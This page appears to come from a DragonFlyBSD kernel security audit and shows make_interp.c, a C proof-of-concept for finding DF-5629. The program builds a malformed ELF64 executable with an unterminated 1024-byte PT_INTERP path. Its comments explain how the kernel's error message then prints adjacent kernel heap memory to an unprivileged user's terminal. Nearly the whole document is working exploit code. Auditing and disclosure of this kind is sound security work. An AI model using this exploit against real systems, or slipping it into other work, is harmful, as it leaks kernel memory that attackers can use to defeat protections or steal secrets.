⬢ DragonFlyBSD Kernel Audit
DF-5629 / make_interp.c
← back to finding ↓ download raw
/*
 * DF-5629 — kernel heap info leak via unterminated PT_INTERP path.
 *
 * Builds a minimal ELF64 executable whose PT_INTERP payload is exactly
 * 1024 non-NUL bytes (MAXPATHLEN).  The kernel kmalloc()s p_filesz bytes,
 * bcopy()s the payload and NEVER NUL-terminates it
 * (sys/kern/imgact_elf.c:extract_interpreter).  The binary is branded
 * DragonFly via EI_OSABI == ELFOSABI_NONE (imgact_elf.c:get_brandinfo loop 2,
 * brand .interp_path/.brand wired from sys/cpu/x86_64/misc/elf_machdep.c:58),
 * then __elfN(load_file)(interp) fails, and the error path does
 *	uprintf("ELF interpreter %s not found\n", interp);   (imgact_elf.c:844)
 * whose %s walks PAST the kmalloc chunk until it finds a NUL, dumping
 * adjacent kernel heap bytes to the executing (unprivileged) user's tty.
 *
 * Expected: the tty line contains our 1024 marker bytes FOLLOWED BY
 * additional bytes we never wrote (kernel heap) before " not found".
 */
#include <sys/stat.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

#define INTERP_OFF	128
#define INTERP_SZ	1024		/* == MAXPATHLEN, allowed by check */

static void
put16(uint8_t *p, uint16_t v) { p[0]=v&0xff; p[1]=v>>8; }
static void
put32(uint8_t *p, uint32_t v) { memcpy(p, &v, 4); }
static void
put64(uint8_t *p, uint64_t v) { memcpy(p, &v, 8); }

int
main(int argc, char **argv)
{
	uint8_t buf[INTERP_OFF + INTERP_SZ];
	const char *mark = "DF5629LEAKMARK";
	size_t mlen = strlen(mark);
	FILE *f;

	if (argc < 2) { fprintf(stderr, "usage: %s out.bin\n", argv[0]); return 2; }
	memset(buf, 0, sizeof(buf));

	/* e_ident: ELFCLASS64/LSB/EV_CURRENT, EI_OSABI = ELFOSABI_NONE(0)
	 * -> brands DragonFly in get_brandinfo() loop 2. */
	buf[0]=0x7f; buf[1]='E'; buf[2]='L'; buf[3]='F';
	buf[4]=2; buf[5]=1; buf[6]=1; buf[7]=0;

	put16(buf+16, 2);	/* e_type  = ET_EXEC */
	put16(buf+18, 62);	/* e_machine = EM_X86_64 */
	put32(buf+20, 1);	/* e_version = EV_CURRENT */
	put64(buf+24, 0);	/* e_entry */
	put64(buf+32, 64);	/* e_phoff */
	put64(buf+40, 0);	/* e_shoff */
	put32(buf+48, 0);	/* e_flags */
	put16(buf+52, 64);	/* e_ehsize */
	put16(buf+54, 56);	/* e_phentsize = sizeof(Elf64_Phdr) */
	put16(buf+56, 1);	/* e_phnum = 1 */
	put16(buf+58, 0);	/* e_shentsize */
	put16(buf+60, 0);	/* e_shnum */
	put16(buf+62, 0);	/* e_shstrndx */

	/* phdr[0]: PT_INTERP, payload = 1024 non-NUL bytes */
	put32(buf+64+0,  3);		/* PT_INTERP */
	put32(buf+64+4,  4);		/* p_flags R */
	put64(buf+64+8,  INTERP_OFF);	/* p_offset */
	put64(buf+64+16, 0);		/* p_vaddr */
	put64(buf+64+24, 0);		/* p_paddr */
	put64(buf+64+32, INTERP_SZ);	/* p_filesz (== MAXPATHLEN: allowed) */
	put64(buf+64+40, INTERP_SZ);	/* p_memsz */
	put64(buf+64+48, 1);		/* p_align */

	/* the "interpreter path": marker + 'A' fill, NO NUL anywhere */
	memcpy(buf + INTERP_OFF, mark, mlen);
	memset(buf + INTERP_OFF + mlen, 'A', INTERP_SZ - mlen);

	f = fopen(argv[1], "wb");
	if (!f) { perror("fopen"); return 2; }
	fwrite(buf, 1, sizeof(buf), f);
	fclose(f);
	chmod(argv[1], 0755);
	return 0;
}